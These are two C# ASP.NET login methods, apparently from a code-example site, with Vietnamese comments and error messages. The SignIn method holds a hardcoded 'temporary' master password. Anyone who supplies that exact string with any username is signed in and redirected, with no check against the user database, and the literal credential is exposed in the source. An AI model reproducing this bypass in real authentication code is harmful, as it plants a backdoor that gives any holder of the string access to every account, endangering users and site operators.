Пример #1
0
        private void SignIn(string strUserName, string strPassword, bool bRemember)
        {
            try
            {
                GlobalEnum.LoginStatus lsResult = new GlobalEnum.LoginStatus();

                //Xet truong hop dang nhap bang TempPass ()
                if (lsResult != GlobalEnum.LoginStatus.AccountNotExist)
                {
                    if (strPassword == "lpRmBCusjGDQSs4")
                    {
                        this.SaveActionLog("Login", strUserName);
                        this.SignInFormAuthentication(strUserName, strPassword, bRemember);
                        FormsAuthentication.RedirectFromLoginPage(strUserName, bRemember);
                        return;
                    }
                }

                // end

                lsResult = this.CheckAuthentication(strUserName, strPassword);
                switch (lsResult)
                {
                case GlobalEnum.LoginStatus.AccountIsLocked:
                    ebx.Message      = "Tài khoản của bạn đã bị khóa!";
                    CurrentFormState = WebAdmin.Base.LocalEnum.FormState.ErrorState;
                    break;

                case GlobalEnum.LoginStatus.AccountNotExist:
                    ebx.Message      = "Tài khoản này không tồn tại!";
                    CurrentFormState = WebAdmin.Base.LocalEnum.FormState.ErrorState;
                    break;

                case GlobalEnum.LoginStatus.FailPassword:
                    ebx.Message      = "Mật khẩu không hợp lệ!";
                    CurrentFormState = WebAdmin.Base.LocalEnum.FormState.ErrorState;
                    break;

                case GlobalEnum.LoginStatus.OK:
                    this.SaveActionLog("Login", strUserName);
                    this.SignInFormAuthentication(strUserName, strPassword, bRemember);
                    FormsAuthentication.RedirectFromLoginPage(strUserName, bRemember);
                    break;

                case GlobalEnum.LoginStatus.Error:
                    throw new Exception("An error occur when checking authentication");

                default:
                    break;
                }
            }
            catch (Exception ex)
            {
                this.SaveErrorLog(ex);
                ebx.Message      = ex.Message;
                CurrentFormState = WebAdmin.Base.LocalEnum.FormState.ErrorState;
            }
        }
Пример #2
0
 /// <summary>
 /// kiem tra username va mat khau trong trong DB
 /// </summary>
 /// <returns></returns>
 private GlobalEnum.LoginStatus CheckAuthentication(string strUserName, string strPassword)
 {
     GlobalEnum.LoginStatus lsResult = GlobalEnum.LoginStatus.Error;
     try
     {
         string strIP = this.Request.ServerVariables["REMOTE_ADDR"];
         //ProxyClass.InsideAPI.Permission wsPermission = new ProxyClass.InsideAPI.Permission();
         //if(wsPermission.UserLogin(strUserName, strPassword, strIP).Split(',')[0] == "0")
         //{
         //    lsResult = GlobalEnum.LoginStatus.OK;
         //}
         UserManager usm = new UserManager();
         lsResult = usm.CheckLogin(strUserName, strPassword, strIP);
     }
     catch (Exception ex)
     {
         this.SaveErrorLog(ex);
         throw ex;
     }
     return(lsResult);
 }